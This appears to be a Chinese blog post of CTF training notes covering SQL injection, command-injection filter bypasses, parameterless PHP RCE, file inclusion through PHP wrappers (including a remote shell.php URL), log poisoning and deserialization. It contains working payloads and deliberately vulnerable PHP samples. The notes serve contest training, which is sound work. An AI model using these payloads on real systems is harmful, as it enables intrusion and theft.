我的GitHub
0%

赣银杯赛前培训

SQL注入

1
2
3
4
5
select password from users where id = "xiaoming"

select password from users where id = "" or 1=1#"

information_schema
schemata tables columns
数据库名 schema_name
表名 table_schema table_name
字段名 table_schema table_name column_name

nianji

liuyi

name

1
select name from nianji.liuyi;

联合注入

1
select id,username,password from users union select 1,2,3;
1 xiaoming xiaoming
1 2 3
1
2
3
4
5
6
7
8
9
10
11
select id,username,password from users where id =1 order by 5

select id,username,password from users where id =1 union select 1,2,3;

union select 1,database(),3 # 查数据库名

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() # 查数据表名geek

union select 1,group_concat(column_name),3 from information_schema.tables where table_name='geek' # 查字段名

union select password from geek # 查最终要的数据

命令执行

读写文件

1.平替命令

  • cat 、tac

  • head、tail

  • less、more

  • nl

  • strings

  • paste

  • diff

  • base64 xxxx | base64 -d

2.分隔符

  • |
  • ||
  • &
  • &&
  • ;
  • %0a
  • >

3.绕过过滤

  • 关键词过滤
  • \ c\at flag.php
  • ‘ “ c’’a””t flag.php c”a”t flag.php
  • 通配符 ca? flag.php cat fl* flag.php fl456789.php
  • a=ag;b=at;c$b fl$a.php
  • 空格
  • cat<>flag.php
  • %09 %0b %0c %a0 ${IFS}
  • $IFS cat$IFS$2flag.php cat${IFS}flag.php

4.使用其他命令

  • `
  • cat ls index.php flag.php readme.txt
  • grep -r “flag”
  • 读取当前目录下所有文件的内容,匹配flag
  • base64 /flag | base64 -d /???/????64 /??4?.???
  • echo “cat /flag【命令要base64编码】”| base64 -d | bash

无参rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { // 对伪协议进行过滤
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { // asd(asd());
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
1
show_source(next(scandir(current(localeconv()))));

localeconv() 货币信息,第一个是”点“

current()获取数组中第一个键值对

scandir()扫描指定目录

var_dump() 将变量内容进行导出

next() 将指针向后移动一位 show_source()读取某个文件

readfile() 读文件

highlight_file()读文件

file()将某个文件读成数组

file_get_contents()将某个文件读成字符串

array_flip() 交换键值对

array_reverse() 反转数组

array_rand()获取数组中随机值

通用payload:

1
show_source(array_rand(array_flip(scandir(current(localeconv())))));

文件包含

1
2
3
4
include include_once()
require require_once()

include($_GET['file'])

伪协议

1.data://伪协议

a.条件

i.allow_url_fopen =On allow_url_include =On

b.用法

i.data://text/plain,

ii.data://text/plain;base,【base64编码的内容】

iii.data:,

2.php://input

a.条件和上面一样

b.用法:

i.include($_GET[‘file’]) ?file=php://input

ii.$_POST:

3.php://filter

a.php://filter/read=convert.base64-encode/resource=flag.
php

b.php://filter/read=convert.base64-encode/resource=xxx. php(读文件源码)

1
`php://filter/write=string.rot13/resource=2.php`(写入文件,相当于打开一个写入的文件流,新建一个文件并指定写的方式)
1
2
3
4
5
6
7
8
9
`?file=php://filter/write=convert.iconv.UCS-2LE.
UCS-2BE/resource=payload.php`
`&contents=?<hp pvela$(P_SO[T]1;)>?`

`php://filter/resource=flag.php`(读文件源码)

`php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php`(读文件源码)(每两位调换位置写入)

`php://filter/read=convert.quoted-printable-encode/resource=flag.php`(读文件源码)

4.phar://

a.文件上传: zip, shell.php -> shell.zip

b.文件包含: ?file=phar://./shell.zip/shell.php

c.注意:

i.shell.zip ->shell.jpg ?file=phar://./shell.jpg/
shell.php

ii.即使修改后缀,对phar读压缩包也没有影响

5.compress.zlib://flag.php

6.zip:///var/www/html/shell.zip

a.需要指定绝对路径

7.zlib://`压缩流

8.    compress.zlib://a.txt(读文件)

9.    compress.bzip2://file.bz2

10.http:/x.x.x.x:81/shell.php

日志包含

?file=/etc/passwd

日志中,记录了一些关键信息:ip 请求时间 请求行 响应行 user-agent

1.常见日志路径:

a.nginx: /var/log/nginx/access.log

b.apache: /var/log/apache/access.log

c./var/log/apache2/access.log

d./var/log/secure ssh ““@x.x.x.x

2.请求的时候更改UA头,加上一句话

3.重新包含日志,传入参数看一下代码能否执行

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

反序列化

怎么序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class test{
public $username;
public $password;


public function hello(){}

}

class test{
public $username;
public $password;
}

$a = new test;
echo serialize($a);

echo urlencode(serialize($a));

魔法函数

__toString(): 将对象以字符串形式调用

__invoke(); 以函数形式调用

__get(); 调用不存在属性触发

__call(); 调用不存在方法触发

unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存
在,此函数可以重建对象可能具有的任何资源。

__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。

__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。

__toString:当对象被当做一个字符串使用时调用。

__sleep:序列化对象之前就调用此方法(其返回需要一个数组)

__wakeup:将在反序列化之后立即被调用,反序列化恢复对象之前
调用该方法

__call:当调用对象中不存在的方法会自动调用该方法。

__get:在调用私有属性的时候会自动执行

__isset()在不可访问的属性上调用isset()或empty()触发

__unset()在不可访问的属性上使用unset()时触发

__invoke() 将对象当作函数来使用的时候,会自动调用该方法,
用“unset()”函数删除对象内部的私有成员属性时,对象会自动用__unset()函数来帮我们删除对象内部的私有成员属性。

__get()如果试图读取一个对象并不存在的属性的时候,PHP就给出错误信息。如果在类里添加__get方法,并且我们可以用这函数实现类似java中反射的各种操作。

工具环境

1.vmware workstation pro 17 及以上

2.kali https://www.kali.org/

3.windows 11 渗透系统

a.https://github.com/arch3rPro/Pentest-Windows

4.CTF toolkit

a.链接:https://share.weiyun.com/8cVhjsKl 密码:233333

我是阿星,阿星的阿,阿星的星!